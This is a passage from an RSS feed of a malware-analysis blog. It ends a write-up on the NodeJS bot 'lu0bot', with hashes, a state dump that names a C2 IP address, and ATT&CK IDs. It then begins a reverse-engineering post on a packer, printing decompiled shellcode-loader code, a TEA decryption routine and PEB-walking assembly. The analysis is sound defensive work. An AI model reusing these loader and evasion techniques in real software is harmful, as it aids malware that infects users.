loader.exe&#10;&#10;&#10;8d8b195551febba6dfe6a516e0ed0f105e71cf8df08d144b45cdee13d06238ed response1.bin&#10;214f90bf2a6b8dffa8dbda4675d7f0cc7ff78901b3c3e03198e7767f294a297d response2.bin&#10;c406fbef1a91da8dd4da4673f7a1f39d4b00fe28ae086af619e522bc00328545 response3.bin&#10;&#10;ccd7dcdf81f4acfe13b2b0d683b6889c60810173542fe1cda111f9f25051ef33 Intel MEC 246919961&#10;e673547a445e2f959d1d9335873b3bfcbf2c4de2c9bf72e3798765ad623a9067 Intel MEC 750293792&lt;/pre&gt;&#10;&lt;h3&gt;Example of lu0bot interaction&lt;/h3&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;&#10;ko&#10;{ pid: 'XXXXXX',&#10; aid: '5.188.206.211 19584',&#10; q: XXXXXXXXXX, &#10; t: XXXXXXXXXXXXX,&#10; lq: &#10; { ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 30 00 00 00 00 09 00 00 26 02&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 74 72 75 65&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 74 72 75 65&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 37 39 38&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 37 39 38&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ] },&#10; pk: 'BASE64_ENCRYPTED',&#10; k: &amp;lt;Buffer 3c 60 22 73 97 cc 76 22 bc eb b5 79 46 3d 05 9e&amp;gt;,&#10; mp: &#10; { XXXXXXXXXXXX: &#10; { id: 'XXXXXXXXXXXX',&#10; pid: 'XXXXXXX',&#10; gen: XXXXXXXXXXXXX,&#10; last: XXXXXXXXXXXXX,&#10; tmr: &amp;#91;Object],&#10; p: {},&#10; psz: 1163,&#10; btotal: 0,&#10; type: 'download',&#10; hn: 'bufread',&#10; target: 'binit',&#10; fp: &amp;lt;Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...&amp;gt;,i&#10; size: 798,&#10; fcb: &amp;#91;Function],&#10; rcb: &amp;#91;Function],&#10; interval: 200,&#10; last_sev: XXXXXXXXXXXXX,&#10; stmr: false },&#10; XXXXXXXXXXXX: &#10; { id: 'XXXXXXXXXXXX',&#10; pid: 'XXXXXXX',&#10; gen: XXXXXXXXXXXXX,&#10; last: XXXXXXXXXXXXX,&#10; tmr: &amp;#91;Object],&#10; p: {},&#10; psz: 1163,&#10; btotal: 0,&#10; type: 'download',&#10; hn: 'bufread',&#10; target: 'binit',&#10; fp: &amp;lt;Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...&amp;gt;,&#10; size: 798,&#10; fcb: &amp;#91;Function],&#10; rcb: &amp;#91;Function],&#10; interval: 200,&#10; last_sev: XXXXXXXXXXXXX,&#10; stmr: false },&#10; XXXXXXXXXXXX: &#10; { id: 'XXXXXXXXXXXX',&#10; pid: 'XXXXXXX',&#10; gen: XXXXXXXXXXXXX,&#10; last: XXXXXXXXXXXXX,&#10; tmr: &amp;#91;Object],&#10; p: {},&#10; psz: 1163,&#10; btotal: 0,&#10; type: 'download',&#10; hn: 'bufread',&#10; target: 'binit',&#10; fp: &amp;lt;Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...&amp;gt;,&#10; size: 798,&#10; fcb: &amp;#91;Function],&#10; rcb: &amp;#91;Function],&#10; interval: 200,&#10; last_sev: XXXXXXXXXXXXX,&#10; stmr: false },&#10; XXXXXXXXXXXX: &#10; { id: 'XXXXXXXXXXXX',&#10; pid: 'XXXXXXX',&#10; gen: XXXXXXXXXXXXX,&#10; last: XXXXXXXXXXXXX,&#10; tmr: &amp;#91;Object],&#10; p: {},&#10; psz: 1163,&#10; btotal: 0,&#10; type: 'download',&#10; hn: 'bufread',&#10; target: 'binit',&#10; fp: &amp;lt;Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...&amp;gt;,&#10; size: 798,&#10; fcb: &amp;#91;Function],&#10; rcb: &amp;#91;Function],&#10; interval: 200,&#10; last_sev: XXXXXXXXXXXXX,&#10; stmr: false },&#10; XXXXXXXXXXXX: &#10; { id: 'XXXXXXXXXXXX',&#10; pid: 'XXXXXXX',&#10; gen: XXXXXXXXXXXXX,&#10; last: XXXXXXXXXXXXX,&#10; tmr: &amp;#91;Object],&#10; p: {},&#10; psz: 1163,&#10; btotal: 0,&#10; type: 'download',&#10; hn: 'bufread',&#10; target: 'binit',&#10; fp: &amp;lt;Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...&amp;gt;,&#10; size: 798,&#10; fcb: &amp;#91;Function],&#10; rcb: &amp;#91;Function] } },&#10; h: &#10; { eval: &amp;#91;Function],&#10; bufwrite: &amp;#91;Function],&#10; bufread: &amp;#91;Function],&#10; filewrite: &amp;#91;Function],&#10; fileread: &amp;#91;Function] },&#10; mp_pget: &amp;#91;Function],&#10; mp_pget_ev: &amp;#91;Function],&#10; mp_new: &amp;#91;Function: mp_new],&#10; mp_get: &amp;#91;Function: mp_get],&#10; mp_count: &amp;#91;Function: mp_count],&#10; mp_loss: &amp;#91;Function: mp_loss],&#10; mp_del: &amp;#91;Function: mp_del],&#10; mp_dtchk: &amp;#91;Function: mp_dtchk],&#10; mp_dtsum: &amp;#91;Function: mp_dtsum],&#10; mp_pset: &amp;#91;Function: mp_pset],&#10; mp_opnew: &amp;#91;Function: mp_opnew],&#10; mp_opstat: &amp;#91;Function: mp_opstat] }&#10;lq&#10;{ ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 30 00 00 00 00 09 00 00 26 02&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 74 72 75 65&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 74 72 75 65&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 37 39 38&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 37 39 38&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ],&#10; ' XXXXXXXXXXXXX': &amp;#91; 1, &amp;lt;Buffer 31&amp;gt; ] &#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;MITRE ATT&amp;amp;CK&lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;T1059&lt;/li&gt;&lt;li&gt;T1482&lt;/li&gt;&lt;li&gt;T1083&lt;/li&gt;&lt;li&gt;T1046&lt;/li&gt;&lt;li&gt;T1057&lt;/li&gt;&lt;li&gt;T1518&lt;/li&gt;&lt;li&gt;T1082&lt;/li&gt;&lt;li&gt;T1614&lt;/li&gt;&lt;li&gt;T1016&lt;/li&gt;&lt;li&gt;T1124&lt;/li&gt;&lt;li&gt;T1005&lt;/li&gt;&lt;li&gt;T1008&lt;/li&gt;&lt;li&gt;T1571&lt;/li&gt;&lt;/ul&gt;&#10;&lt;h3&gt;ELI5 summary&lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;lu0bot is a NodeJS Malware.&lt;/li&gt;&lt;li&gt;Network communications are mixing TCP (loader) and UDP (main stage).&lt;/li&gt;&lt;li&gt;It's pushed at least with Garbage Cleaner.&lt;/li&gt;&lt;li&gt;Its default setup seems to be a aggressive telemetry harvester.&lt;/li&gt;&lt;li&gt;Due to its task manager architecture it is technically able to be everything.&lt;/li&gt;&lt;/ul&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-summary.webp" alt="Full lu0bot infection chain, from Garbage Cleaner to the NodeJS loader and its C&amp;amp;C channels" class="wp-image-3500" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;&lt;p&gt;Lu0bot is a curious piece of code which I could admit, even if I don't like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity. &lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-meme-surprised.webp" alt="Meme of a surprised character reacting to the task manager implementation" class="wp-image-3613" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;A wild fumik0_ being amazed by the task manager implementation&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;I have more questions than answers since then I started to put my hands on that one, but the thing that I'm sure, it's active and harvesting data from bots that I have never seen before in such an aggressive way.&lt;br&gt;&lt;br&gt;Special thanks: @benkow_ &lt;/p&gt;&#10;</description></item><item><title>Anatomy of a simple and popular packer</title><link>https://fumik0.com/2021/04/24/anatomy-of-a-simple-and-popular-packer/</link><pubDate>Sat, 24 Apr 2021 20:25:53 +0000</pubDate><guid>https://fumik0.com/2021/04/24/anatomy-of-a-simple-and-popular-packer/</guid><description>&lt;p&gt;It's been a while that I haven't release some stuff here and indeed, it's mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn't wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.&lt;/p&gt;&#10;&lt;p&gt;So let's start 2021 with something really simple... Why not dissecting completely to the ground a well-known packer mixing C/C++ &amp;amp; shellcode (active since some years now).&lt;/p&gt;&#10;&lt;figure&gt;&lt;img class="size-full wp-image-3132 aligncenter" src="https://fumik0.com/wp-content/uploads/2021/04/packer-icons.webp" alt="Icons commonly seen on executables packed with this packer" width="605" height="160" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Typical icons that could be seen with this packer&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Obfuscation&lt;/li&gt;&#10;&lt;li&gt;Cryptography&lt;/li&gt;&#10;&lt;li&gt;Decompression&lt;/li&gt;&#10;&lt;li&gt;Multi-stage&lt;/li&gt;&#10;&lt;li&gt;Shellcode&lt;/li&gt;&#10;&lt;li&gt;Remote Thread Hijacking&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Disclaimer: This post will be different from what i'm doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;For this analysis, this sample will be used:&lt;/p&gt;&#10;&lt;pre&gt;&lt;em&gt;B7D90C9D14D124A163F5B3476160E1CF&lt;/em&gt;&lt;/pre&gt;&#10;&lt;h2&gt;Architecture&lt;/h2&gt;&#10;&lt;p&gt;Speaking of itself, the packer is split into 3 main stages:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;A PE that will allocate, decrypt and execute the shellcode n°1&lt;/li&gt;&#10;&lt;li&gt;Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2&lt;/li&gt;&#10;&lt;li&gt;Saving required WinAPI calls (again) and executing payload with a remote thread hijacking trick&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3130" src="https://fumik0.com/wp-content/uploads/2021/04/packer-architecture.webp" alt="Diagram of the packer's stages, from the first-stage PE to the final payload" width="803" height="474" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;An overview of this packer&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Stage 1 - The PE&lt;/h2&gt;&#10;&lt;p&gt;The first stage is misleading the analyst to think that a decent amount of instructions are performed, but... after purging all the junk code and unused functions, the cleaned &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winmain"&gt;&lt;strong&gt;Winmain&lt;/strong&gt;&lt;/a&gt; function is unveiling a short and standard setup for launching a shellcode.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)&#10;{&#10; int i; &#10; SIZE_T uBytes; &#10; HMODULE hModule; &#10;&#10; // Will be used for Virtual Protect call&#10; hKernel32 = LoadLibraryA("kernel32.dll");&#10;&#10; // Bullshit stuff for getting correct uBytes value&#10; uBytes = CONST_VALUE&#10;&#10; _LocalAlloc();&#10;&#10; for ( i = 0; j &amp;lt; uBytes; ++i ) {&#10; (_FillAlloc)();&#10; }&#10;&#10; _VirtualProtect();&#10;&#10; // Decrypt function vary between date &amp;amp; samples&#10; _Decrypt(); &#10; _ExecShellcode();&#10;&#10; return 0;&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;It's important to notice this packer is changing its first stage regularly, but it doesn't mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.&lt;/p&gt;&#10;&lt;p&gt;Beside using a classic &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc"&gt;VirtualAlloc&lt;/a&gt;&lt;/strong&gt;, this one is using &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localalloc"&gt;LocalAlloc&lt;/a&gt;&lt;/strong&gt; for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;int (*LocalAlloc())(void)&#10;{&#10; int (*pBuff)(void); // eax&#10;&#10; pBuff = LocalAlloc(0, uBytes);&#10; Shellcode = pBuff;&#10; return pBuff;&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;For avoiding giving directly the position of the shellcode, It's using a simple addition trick for filling the buffer step by step.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;int __usercall FillAlloc(int i)&#10;{&#10; int result; // eax&#10;&#10; // All bullshit code removed&#10; result = dword_834B70 + 0x7E996;&#10; *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);&#10; return result;&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;Then obviously, whenever an allocation is called, &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect"&gt;VirtualProtect&lt;/a&gt;&lt;/strong&gt; is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress"&gt;GetProcAddress&lt;/a&gt;&lt;/strong&gt; will do the job for saving this &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list"&gt;WinAPI&lt;/a&gt;&lt;/strong&gt; call into a pointer function.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;BOOL __stdcall VirtualProtect()&#10;{&#10; char v1[4]; // [esp+4h] [ebp-4h] BYREF&#10;&#10; String = 0;&#10; lstrcatA(&amp;amp;String, "VertualBritect"); // No ragrets&#10; byte_442581 = 'i';&#10; byte_442587 = 'P';&#10; byte_442589 = 'o';&#10; pVirtualProtect = GetProcAddress(hKernel32, &amp;amp;String);&#10; return (pVirtualProtect)(Shellcode, uBytes, 64, v1);&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;Decrypting the first shellcode&lt;/h3&gt;&#10;&lt;p&gt;The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is &lt;strong&gt;&lt;a href="https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm"&gt;TEA&lt;/a&gt;&lt;/strong&gt;, it's simple and easy to used&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;void Decrypt()&#10;{&#10; SIZE_T size;&#10; PVOID sc; &#10; SIZE_T i; &#10;&#10; size = uBytes;&#10; sc = Shellcode;&#10; for ( i = size &amp;gt;&amp;gt; 3; i; --i )&#10; {&#10; _TEADecrypt(sc); &#10; sc = sc + 8; // +8 due it's v[0] &amp;amp; v[1] with TEA Algorithm&#10; }&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;I am always skeptical whenever i'm reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let's take our time to just make sure about which variable we have to identified:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;v[0] and v[1]&lt;/li&gt;&#10;&lt;li&gt;y &amp;amp; z&lt;/li&gt;&#10;&lt;li&gt;Number of circles (n=32)&lt;/li&gt;&#10;&lt;li&gt;16 bytes key represented as k[0], k[1], k[2], k[3]&lt;/li&gt;&#10;&lt;li&gt;delta&lt;/li&gt;&#10;&lt;li&gt;sum&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3150" src="https://fumik0.com/wp-content/uploads/2021/04/packer-tea-detection.webp" alt="TEA decryption variables spotted in x32dbg" width="715" height="237" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Identifying TEA variables in x32dbg&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;For adding more salt to it, you have your dose of mindless amount of garbage instructions.&lt;/p&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3151" src="https://fumik0.com/wp-content/uploads/2021/04/packer-tea-junk-code.webp" alt="Junk code hiding the TEA decryption algorithm" width="827" height="252" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Junk code hiding the algorithm&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;After removing everything unnecessary, our TEA decryption algorithm is looking like this&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;int *__stdcall _TEADecrypt(int *v)&#10;{&#10; unsigned int y, z, sum;&#10; int i, v7, v8, v9, v10, k[4]; &#10; int *result;&#10;&#10; y = *v;&#10; z = v[1];&#10; sum = 0xC6EF3720;&#10;&#10; k[0] = dword_440150;&#10; k[1] = dword_440154;&#10; k[3] = dword_440158;&#10; k[2] = dword_44015C;&#10;&#10; i = 32;&#10; do&#10; {&#10; // Junk code purged&#10; v7 = k[2] + (y &amp;gt;&amp;gt; 5);&#10; v9 = (sum + y) ^ (k[3] + 16 * y);&#10; v8 = v9 ^ v7;&#10; z -= v8;&#10; v10 = k[0] + 16 * z;&#10; (_TEA_Y_Operation)((sum + z) ^ (k[1] + (z &amp;gt;&amp;gt; 5)) ^ v10);&#10; sum += 0x61C88647; // exact equivalent of sum -= 0x9&#10; --i;&#10; }&#10;&#10; while ( i );&#10; result = v;&#10; v[1] = z;&#10; *v = y;&#10; return result;&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;&lt;span style="font-size: inherit;"&gt;At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).&lt;/span&gt;&lt;/p&gt;&#10;&lt;p style="text-align: center;"&gt;&lt;img class="aligncenter size-full wp-image-3154" src="https://fumik0.com/wp-content/uploads/2021/04/packer-shellcode-01-dump.webp" alt="Hex dump of the first shellcode, starting with the 55 8B EC prologue" width="526" height="138" loading="lazy" decoding="async" /&gt;&lt;/p&gt;&#10;&lt;h3&gt;Stage 2 - Falling into the shellcode playground&lt;/h3&gt;&#10;&lt;p&gt;This shellcode is pretty simple, the main function is just calling two functions:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;One focused for saving fundamentals WinAPI call&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya"&gt;LoadLibraryA&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress"&gt;GetProcAddress&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3155" src="https://fumik0.com/wp-content/uploads/2021/04/packer-shellcode-01-disassembly.webp" alt="Disassembly of the shellcode's main function" width="686" height="174" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Shellcode main()&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h4&gt;Give my WinAPI calls&lt;/h4&gt;&#10;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; In this part, almost no text explanation, everything is detailed with the code&lt;/em&gt;&lt;/p&gt;&#10;&lt;h5&gt;PEB &amp;amp; BaseDllName&lt;/h5&gt;&#10;&lt;p&gt;Like any another shellcode, it needs to get some address function to start its job, so our &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb"&gt;PEB&lt;/a&gt;&lt;/strong&gt; best friend is there to do the job.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;00965233 | 55 | push ebp |&#10;00965234 | 8BEC | mov ebp,esp |&#10;00965236 | 53 | push ebx |&#10;00965237 | 56 | push esi |&#10;00965238 | 57 | push edi |&#10;00965239 | 51 | push ecx |&#10;0096523A | 64:FF35 30000000 | push dword ptr fs:[30] | Pointer to PEB&#10;00965241 | 58 | pop eax |&#10;00965242 | 8B40 0C | mov eax,dword ptr ds:[eax+C] | Pointer to Ldr&#10;00965245 | 8B48 0C | mov ecx,dword ptr ds:[eax+C] | Pointer to Ldr-&amp;gt;InLoadOrderModuleList&#10;00965248 | 8B11 | mov edx,dword ptr ds:[ecx] | Pointer to List Entry (aka pEntry)&#10;0096524A | 8B41 30 | mov eax,dword ptr ds:[ecx+30] | Pointer to BaseDllName buffer (pEntry-&amp;gt;DllBaseName-&amp;gt;Buffer)&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;Let's take a look then in the &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb"&gt;PEB&lt;/a&gt;&lt;/strong&gt; structure&lt;/p&gt;&#10;&lt;p&gt;&lt;img class="aligncenter size-full wp-image-3148" src="https://fumik0.com/wp-content/uploads/2021/04/packer-shellcode-01-dump-02.webp" alt="PEB structure in the dump with the fields used by the shellcode" width="545" height="125" loading="lazy" decoding="async" /&gt;&lt;/p&gt;&#10;&lt;p&gt;For beginners, i sorted all these values with there respective variable names and 